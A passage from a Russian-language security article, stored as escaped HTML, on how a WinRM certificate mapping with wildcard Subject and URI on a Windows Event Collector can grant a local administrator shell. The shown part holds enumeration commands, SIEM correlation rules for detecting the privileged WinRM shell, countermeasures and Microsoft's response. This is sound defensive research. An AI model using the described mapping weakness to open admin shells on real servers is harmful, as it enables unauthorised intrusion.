\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u043c<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">CA<\/p>\n<\/td>\n<td>\n<p align=\"left\"><code>4886<\/code>,\u00a0<code>4887<\/code><\/p>\n<\/td>\n<td>\n<p align=\"left\">\u0417\u0430\u043f\u0440\u043e\u0441 \u0438 \u0432\u044b\u043f\u0443\u0441\u043a \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u0430, \u0435\u0441\u043b\u0438 \u0432\u043a\u043b\u044e\u0447\u0451\u043d \u0430\u0443\u0434\u0438\u0442 \u0423\u0426<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">WEC<\/p>\n<\/td>\n<td>\n<p align=\"left\"><code>ForwardedEvents<\/code><\/p>\n<\/td>\n<td>\n<p align=\"left\">\u041f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u0442\u043e\u0433\u043e, \u0447\u0442\u043e \u043f\u043e\u0434\u043f\u0438\u0441\u043a\u0438 \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u044e\u0442 \u0440\u0430\u0431\u043e\u0442\u0430\u0442\u044c \u043f\u043e\u0441\u043b\u0435 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f mapping<\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<\/div>\n<p>\u041a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u044e \u043c\u043e\u0436\u043d\u043e \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c \u0442\u0430\u043a:<\/p>\n<pre><code class=\"powershell\">winrm enum winrm\/config\/service\/certmapping<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><span class=\"sc-logo-wrapper icon-only\"><\/span><\/a><\/div><\/pre>\n<p>\u0418\u043b\u0438 \u0447\u0435\u0440\u0435\u0437 PowerShell-\u043f\u0440\u043e\u0432\u0430\u0439\u0434\u0435\u0440:<\/p>\n<pre><code class=\"powershell\">Get-ChildItem WSMan:\\localhost\\ClientCertificate |\u00a0 ForEach-Object { Get-ChildItem $_.PSPath }<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><span class=\"sc-logo-wrapper icon-only\"><\/span><\/a><\/div><\/pre>\n<p>\u0414\u043b\u044f SIEM \u044f \u0431\u044b \u0440\u0430\u0437\u0434\u0435\u043b\u0438\u043b \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u0435 \u043d\u0430 \u0442\u0440\u0438 \u0443\u0440\u043e\u0432\u043d\u044f:\u00a0<strong>\u043e\u043f\u0430\u0441\u043d\u0430\u044f \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u044f, \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0435 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u0432\u0445\u043e\u0434\u0430 \u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u0435 WinRM shell<\/strong>. \u042d\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043e\u0442\u043b\u0438\u0447\u0430\u0442\u044c \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0439 \u0440\u0438\u0441\u043a \u043e\u0442 \u0444\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0433\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f certificate mapping.<\/p>\n<h4>1. \u0410\u0443\u0434\u0438\u0442 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 WinRM<\/h4>\n<p>\u0418\u0449\u0435\u043c \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0435 certificate mapping, \u0432 \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u043e\u0434\u043d\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u044e\u0442\u0441\u044f \u0443\u0441\u043b\u043e\u0432\u0438\u044f:<\/p>\n<pre><code class=\"powershell\">Subject = *URI = *Mapped account \u2208 BUILTIN\\AdministratorsMapping enabled = true<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><span class=\"sc-logo-wrapper icon-only\"><\/span><\/a><\/div><\/pre>\n<p>\u042d\u0442\u043e \u0438\u043d\u0434\u0438\u043a\u0430\u0442\u043e\u0440\u00a0<strong>\u043e\u043f\u0430\u0441\u043d\u043e\u0439 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438<\/strong>, \u043d\u043e \u043d\u0435 \u0441\u0432\u0438\u0434\u0435\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438. \u041f\u0440\u043e\u0432\u0435\u0440\u043a\u0443 \u0441\u043b\u0435\u0434\u0443\u0435\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u043e \u0430\u043a\u0442\u0443\u0430\u043b\u044c\u043d\u043e\u0439 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 WinRM \u043d\u0430 WEC, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440 \u043f\u0435\u0440\u0438\u043e\u0434\u0438\u0447\u0435\u0441\u043a\u0438\u043c \u0441\u0431\u043e\u0440\u043e\u043c \u043d\u0430\u0441\u0442\u0440\u043e\u0435\u043a \u0438\u043b\u0438 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u043c \u0430\u0443\u0434\u0438\u0442\u043e\u043c \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438.<\/p>\n<h4>2. Rule_1_\u041f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0432\u0445\u043e\u0434 \u0447\u0435\u0440\u0435\u0437 WinRM certificate mapping<\/h4>\n<p>\u041f\u0435\u0440\u0432\u043e\u0435 \u043f\u0440\u0430\u0432\u0438\u043b\u043e \u043a\u043e\u0440\u0440\u0435\u043b\u044f\u0446\u0438\u0438 \u0441\u0432\u044f\u0437\u044b\u0432\u0430\u0435\u0442 \u0441\u043e\u0431\u044b\u0442\u0438\u044f\u00a0<code>4624<\/code>\u00a0\u0438\u00a0<code>4672<\/code>\u00a0\u043f\u043e \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440\u0443 \u0441\u0435\u0430\u043d\u0441\u0430 \u0432\u0445\u043e\u0434\u0430\u00a0<code>LogonId<\/code>.<\/p>\n<p>\u0423\u0441\u043b\u043e\u0432\u0438\u044f \u0434\u043b\u044f Event ID\u00a0<code>4624<\/code>\u00a0\u043d\u0430 WEC:<\/p>\n<pre><code class=\"powershell\">TargetUserName = &lt;mapped local admin&gt;TargetDomainName = &lt;WEC hostname&gt;LogonType = 3LogonProcessName = AdvapiAuthenticationPackageName = NegotiateElevatedToken = Yes<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><span class=\"sc-logo-wrapper icon-only\"><\/span><\/a><\/div><\/pre>\n<p>\u0421\u043e\u0431\u044b\u0442\u0438\u0435\u00a0<code>4672<\/code>\u00a0\u0434\u043e\u043b\u0436\u043d\u043e \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0442\u044c \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0435 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438 \u0434\u043b\u044f \u0442\u043e\u0439 \u0436\u0435 \u0443\u0447\u0451\u0442\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u0438 \u0438 \u0441\u043e\u0432\u043f\u0430\u0434\u0430\u044e\u0449\u0438\u0439 \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440 \u0432\u0445\u043e\u0434\u0430:<\/p>\n<pre><code class=\"powershell\">4624.TargetLogonId = 4672.SubjectLogonId<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><span class=\"sc-logo-wrapper icon-only\"><\/span><\/a><\/div><\/pre>\n<p>\u0412\u0440\u0435\u043c\u044f \u0436\u0438\u0437\u043d\u0438 \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u0430 \u0431\u0443\u0434\u0435\u0442 \u043b\u043e\u0433\u0438\u0447\u043d\u043e \u0443\u043a\u0430\u0437\u0430\u0442\u044c 120 \u0441\u0435\u043a\u0443\u043d\u0434.<\/p>\n<p>\u041d\u0430 \u0432\u044b\u0445\u043e\u0434\u0435 \u0438\u043c\u0435\u0435\u043c \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u0435 \u0441\u0435\u0442\u0435\u0432\u043e\u0433\u043e \u0432\u0445\u043e\u0434\u0430 \u0441 \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u043d\u044b\u043c \u0442\u043e\u043a\u0435\u043d\u043e\u043c, \u0441\u043e\u043f\u0440\u043e\u0432\u043e\u0436\u0434\u0430\u0435\u043c\u043e\u0433\u043e \u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435\u043c \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0445 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439. \u041e\u0434\u043d\u0430\u043a\u043e \u044d\u0442\u043e \u0435\u0449\u0451 \u043d\u0435 \u0434\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u0435 \u0438\u043d\u0442\u0435\u0440\u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0439 \u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0438.<\/p>\n<h4>3. Rule_2_\u0421\u043e\u0437\u0434\u0430\u043d\u0438\u0435 WinRM shell \u043f\u043e\u0441\u043b\u0435 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u0432\u0445\u043e\u0434\u0430<\/h4>\n<p>\u0412\u0442\u043e\u0440\u043e\u0435 \u043f\u0440\u0430\u0432\u0438\u043b\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u043f\u0435\u0440\u0432\u043e\u0439 \u043a\u043e\u0440\u0440\u0435\u043b\u044f\u0446\u0438\u0438 \u0438 \u0438\u0449\u0435\u0442 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0435 \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u044f \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u043e\u0439 \u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0438.<\/p>\n<p>\u041b\u043e\u0433\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u043f\u043e\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u044c:<\/p>\n<pre><code class=\"powershell\">[WEC] Rule_1_\u041f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0432\u0445\u043e\u0434 \u0447\u0435\u0440\u0435\u0437 WinRM certificate mapping      Privileged network logon + special privileges                 |                 v[WEC] WinRM Operational, Event ID 91      Creating WSMan shell on server                 |                 v[Network telemetry, if available]      Allowed TCP connection to WEC:5986                 |                 vAlert: WinRM shell after privileged logon<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><span class=\"sc-logo-wrapper icon-only\"><\/span><\/a><\/div><\/pre>\n<p>\u0414\u043b\u044f \u0441\u043e\u0431\u044b\u0442\u0438\u044f WinRM \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c \u043f\u0440\u043e\u0432\u0430\u0439\u0434\u0435\u0440\u00a0<code>Microsoft-Windows-WinRM<\/code>, Event ID\u00a0<code>91<\/code>\u00a0(PowerShell Remoting) \u0438, \u0435\u0441\u043b\u0438 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e \u043f\u043e\u0441\u043b\u0435 \u043f\u0430\u0440\u0441\u0438\u043d\u0433\u0430,\u00a0<code>ResourceUri<\/code>\u00a0\u0441\u043e\u0437\u0434\u0430\u0432\u0430\u0435\u043c\u043e\u0439 \u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0438.<\/p>\n<p>\u0421\u0435\u0442\u0435\u0432\u043e\u0439 \u0441\u0435\u043b\u0435\u043a\u0442\u043e\u0440 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u0430\u0434\u0440\u0435\u0441 WEC \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u0438 \u043f\u043e\u0440\u0442\u00a0<code>5986\/TCP<\/code>. \u0415\u0441\u043b\u0438 \u0441\u0435\u0442\u0435\u0432\u044b\u0435 \u0441\u043e\u0431\u044b\u0442\u0438\u044f \u043d\u0435 \u0441\u043e\u0431\u0438\u0440\u0430\u044e\u0442\u0441\u044f, \u044d\u0442\u043e\u0442 \u0441\u0435\u043b\u0435\u043a\u0442\u043e\u0440 \u043d\u0435 \u0441\u043b\u0435\u0434\u0443\u0435\u0442 \u0434\u0435\u043b\u0430\u0442\u044c \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u043c: \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0441\u0432\u044f\u0437\u0430\u0442\u044c \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u043f\u0435\u0440\u0432\u043e\u0433\u043e \u043f\u0440\u0430\u0432\u0438\u043b\u0430 \u0441 \u0441\u043e\u0431\u044b\u0442\u0438\u0435\u043c \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u044f shell.<\/p>\n<p>\u0414\u043b\u044f \u0441\u0446\u0435\u043d\u0430\u0440\u0438\u044f \u0441 \u0448\u0430\u0431\u043b\u043e\u043d\u043e\u043c\u00a0<code>Machine<\/code>\u00a0\u0446\u0435\u043f\u043e\u0447\u043a\u0443 \u043c\u043e\u0436\u043d\u043e \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u0443\u0441\u0438\u043b\u0438\u0442\u044c \u0441\u043e\u0431\u044b\u0442\u0438\u044f\u043c\u0438\u00a0<code>4741<\/code>\u00a0(\u0441\u043e\u0437\u0434\u0430\u043d\u0438\u0435 \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u043d\u043e\u0439 \u0443\u0447\u0451\u0442\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u0438) \u0438\u00a0<code>4887<\/code>\u00a0(\u0432\u044b\u0434\u0430\u0447\u0430 \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u0430). \u042d\u0442\u043e \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0439 \u0441\u0446\u0435\u043d\u0430\u0440\u0438\u0439 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u044f, \u0430 \u043d\u0435 \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0435 \u0443\u0441\u043b\u043e\u0432\u0438\u0435 \u043e\u0441\u043d\u043e\u0432\u043d\u043e\u0433\u043e \u043f\u0440\u0430\u0432\u0438\u043b\u0430: \u043f\u0440\u0438 \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u0438 \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u0430 \u0438\u0437 \u0448\u0430\u0431\u043b\u043e\u043d\u0430\u00a0<code>User<\/code>\u00a0\u0441\u043e\u0431\u044b\u0442\u0438\u044f\u00a0<code>4741<\/code>\u00a0\u043d\u0435 \u0431\u0443\u0434\u0435\u0442, \u0438 \u0434\u0435\u0442\u0435\u043a\u0442, \u043e\u0441\u043d\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0442\u043e\u043b\u044c\u043a\u043e \u043d\u0430 \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u0438 \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u0430, \u043f\u0440\u043e\u043f\u0443\u0441\u0442\u0438\u0442 \u0442\u0430\u043a\u043e\u0439 \u0432\u0430\u0440\u0438\u0430\u043d\u0442.<\/p>\n<h3>\u041c\u0435\u0440\u044b \u043f\u0440\u043e\u0442\u0438\u0432\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f<\/h3>\n<ol>\n<li>\n<p><strong>\u0421\u0443\u0437\u0438\u0442\u044c\u00a0<\/strong><code><strong>URI<\/strong><\/code><strong>\u00a0\u0434\u043e\u00a0<\/strong><a href=\"http:\/\/schemas.microsoft.com\/wbem\/wsman\/1\/windows\/EventLog*\" rel=\"noopener nofollow\"><code><strong>http:\/\/schemas.microsoft.com\/wbem\/wsman\/1\/windows\/EventLog*<\/strong><\/code><\/a>\u00a0\u0434\u043b\u044f mapping, \u043f\u0440\u0435\u0434\u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u043d\u043e\u0433\u043e \u0442\u043e\u043b\u044c\u043a\u043e \u0434\u043b\u044f \u043f\u0435\u0440\u0435\u0441\u044b\u043b\u043a\u0438 \u0441\u043e\u0431\u044b\u0442\u0438\u0439. \u0412 \u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442\u0435 \u044d\u0442\u043e \u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u0430\u043b\u043e shell, \u043d\u0435 \u043b\u043e\u043c\u0430\u044f WEC.<\/p>\n<\/li>\n<li>\n<p>\u041d\u0435 \u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0442\u044c \u0431\u0435\u0437 \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e\u0441\u0442\u0438 \u0432\u043a\u043b\u044e\u0447\u0451\u043d\u043d\u043e\u0433\u043e \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430, \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u043e\u0433\u043e \u043d\u0430 \u044d\u0442\u0430\u043f\u0435 \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438 WEC; \u0440\u0430\u0441\u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c \u0443\u0434\u0430\u043b\u0435\u043d\u0438\u0435\/\u043e\u0442\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435 \u0423\u0417 \u0438 \u043c\u0438\u043d\u0438\u043c\u0438\u0437\u0430\u0446\u0438\u044e \u0435\u0451 \u043f\u0440\u0430\u0432.<\/p>\n<\/li>\n<li>\n<p>\u041f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c, \u043a\u0430\u043a\u0438\u0435 \u0441\u0443\u0431\u044a\u0435\u043a\u0442\u044b \u043c\u043e\u0433\u0443\u0442 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442 \u0441 Client Authentication \u043e\u0442 \u0434\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u043e\u0433\u043e \u0423\u0426. \u0421\u043d\u0438\u0436\u0435\u043d\u0438\u0435\u00a0<code>MachineAccountQuota<\/code>\u00a0\u043f\u043e\u043b\u0435\u0437\u043d\u043e \u0441\u0430\u043c\u043e \u043f\u043e \u0441\u0435\u0431\u0435, \u043d\u043e\u00a0<strong>\u043d\u0435 \u0440\u0435\u0448\u0430\u0435\u0442<\/strong>\u00a0\u0432\u043e\u043f\u0440\u043e\u0441, \u0435\u0441\u043b\u0438 \u0434\u043e\u0441\u0442\u0443\u043f\u0435\u043d \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u044b\u0439\u00a0<code>User<\/code>.<\/p>\n<\/li>\n<li>\n<p><strong>\u041d\u0435 \u0441\u0447\u0438\u0442\u0430\u0442\u044c\u00a0<\/strong><code><strong>LocalAccountTokenFilterPolicy=0<\/strong><\/code><strong>\u00a0\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e\u0439 \u0437\u0430\u0449\u0438\u0442\u043e\u0439<\/strong>\u00a0\u043e\u0442 \u044d\u0442\u043e\u0433\u043e \u0441\u0446\u0435\u043d\u0430\u0440\u0438\u044f. \u0412 \u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442\u0435 \u043e\u043d\u0430 \u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u0430\u043b\u0430 \u043f\u0440\u044f\u043c\u043e\u0439 \u043f\u0430\u0440\u043e\u043b\u044c\u043d\u044b\u0439 \u0432\u0445\u043e\u0434, \u043d\u043e \u043d\u0435 \u0432\u0445\u043e\u0434 \u0447\u0435\u0440\u0435\u0437 certificate mapping.<\/p>\n<\/li>\n<li>\n<p>\u041e\u0433\u0440\u0430\u043d\u0438\u0447\u0438\u0442\u044c \u0441\u0435\u0442\u0435\u0432\u043e\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a\u00a0<code>5986\/TCP<\/code>, \u0438\u043d\u0432\u0435\u043d\u0442\u0430\u0440\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u0442\u044c WinRM mappings \u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0430\u0432\u043a\u0443 CRL\/\u0440\u0430\u0431\u043e\u0442\u0443 \u043e\u0442\u0437\u044b\u0432\u0430.<\/p>\n<\/li>\n<li>\n<p>\u041f\u043e\u0441\u043b\u0435 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0439 \u043f\u0440\u043e\u0442\u0435\u0441\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c\u00a0<strong>\u043e\u0431\u0430 \u0443\u0441\u043b\u043e\u0432\u0438\u044f<\/strong>: \u043d\u043e\u0432\u044b\u0435 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u0438\u0432\u043d\u044b\u0435 shell-\u0441\u0435\u0441\u0441\u0438\u0438 \u043d\u0435 \u0441\u043e\u0437\u0434\u0430\u044e\u0442\u0441\u044f, \u0430 \u0441\u043e\u0431\u044b\u0442\u0438\u044f \u043e\u0442 \u0440\u0430\u0437\u0440\u0435\u0448\u0451\u043d\u043d\u044b\u0445 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u0432 \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u044e\u0442 \u043f\u043e\u0441\u0442\u0443\u043f\u0430\u0442\u044c \u0432\u00a0<code>ForwardedEvents<\/code>.<\/p>\n<\/li>\n<\/ol>\n<h3>\u041f\u043e\u0437\u0438\u0446\u0438\u044f MSRC \u0438 \u0432\u044b\u0432\u043e\u0434\u044b<\/h3>\n<p>\u041f\u043e \u0438\u0442\u043e\u0433\u0430\u043c \u0440\u0430\u0441\u0441\u043c\u043e\u0442\u0440\u0435\u043d\u0438\u044f\u00a0<strong>Microsoft Security Response Center (MSRC)<\/strong>\u00a0\u0441\u043e\u043e\u0431\u0449\u0438\u043b, \u0447\u0442\u043e \u0441\u043b\u0443\u0447\u0430\u0439 \u043d\u0435 \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u0435\u0442 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0438 \u043d\u0435 \u0434\u043e\u0441\u0442\u0438\u0433\u0430\u0435\u0442 \u043f\u043e\u0440\u043e\u0433\u0430 \u0434\u043b\u044f \u0432\u044b\u043f\u0443\u0441\u043a\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f. \u041f\u043e \u043c\u043d\u0435\u043d\u0438\u044e Microsoft, \u0434\u043e\u0441\u0442\u0443\u043f \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u044f\u0432\u043d\u043e \u043d\u0430\u0441\u0442\u0440\u043e\u0435\u043d\u043d\u043e\u0439 \u043f\u043e\u043b\u0438\u0442\u0438\u043a\u043e\u0439 certificate mapping, \u0430 \u043d\u0435 \u0432\u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u0435 \u0434\u0435\u0444\u0435\u043a\u0442\u0430 Windows. CVE \u043d\u0435 \u043f\u0440\u0438\u0441\u0432\u043e\u0435\u043d, bounty \u043d\u0435 \u043f\u0440\u0435\u0434\u0443\u0441\u043c\u043e\u0442\u0440\u0435\u043d, \u0434\u0430\u043b\u044c\u043d\u0435\u0439\u0448\u0435\u0435 \u0441\u043e\u043f\u0440\u043e\u0432\u043e\u0436\u0434\u0435\u043d\u0438\u0435 \u043e\u0431\u0440\u0430\u0449\u0435\u043d\u0438\u044f \u043f\u0440\u0435\u043a\u0440\u0430\u0449\u0435\u043d\u043e. \u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u043c\u0430\u0442\u0435\u0440\u0438\u0430\u043b\u044b \u043f\u0435\u0440\u0435\u0434\u0430\u043d\u044b \u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0439 \u0438\u043d\u0436\u0435\u043d\u0435\u0440\u043d\u043e\u0439 \u043a\u043e\u043c\u0430\u043d\u0434\u0435 \u0434\u043b\u044f \u043e\u0437\u043d\u0430\u043a\u043e\u043c\u043b\u0435\u043d\u0438\u044f.<\/p>\n<p>\u0422\u0435\u043c \u043d\u0435 \u043c\u0435\u043d\u0435\u0435 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u0435 \u0432\u044b\u044f\u0432\u0438\u043b\u043e \u043f\u0440\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0440\u0438\u0441\u043a: \u043e\u043f\u0430\u0441\u043d\u0430\u044f \u043a\u043e\u043c\u0431\u0438\u043d\u0430\u0446\u0438\u044f\u00a0<code>Subject=*<\/code>,\u00a0<code>URI=*<\/code>\u00a0\u0438 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0439 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u0439 \u0443\u0447\u0451\u0442\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u0438\u00a0<a href=\"https:\/\/learn.microsoft.com\/en-us\/windows\/win32\/wec\/setting-up-a-source-initiated-subscription\" rel=\"noopener nofollow\"><strong>\u043e\u043f\u0438\u0441\u0430\u043d\u0430 \u0432 \u043e\u0444\u0438\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0439 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u0438 Microsoft \u043f\u043e \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0435 WEC \u0447\u0435\u0440\u0435\u0437 HTTPS<\/strong><\/a>.<\/p>\n<p>\u0414\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0439 \u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442 \u0441\u00a0<code>LocalAccountTokenFilterPolicy=0<\/code>\u00a0\u043f\u043e\u043a\u0430\u0437\u0430\u043b, \u0447\u0442\u043e Remote UAC \u043d\u0435 \u043f\u0440\u0435\u043f\u044f\u0442\u0441\u0442\u0432\u0443\u0435\u0442 \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044e \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u0439 WinRM-\u0441\u0435\u0441\u0441\u0438\u0438 \u0447\u0435\u0440\u0435\u0437 \u044d\u0442\u043e \u0441\u043e\u043f\u043e\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u0438\u0435, \u0445\u043e\u0442\u044f \u043f\u0440\u044f\u043c\u0430\u044f 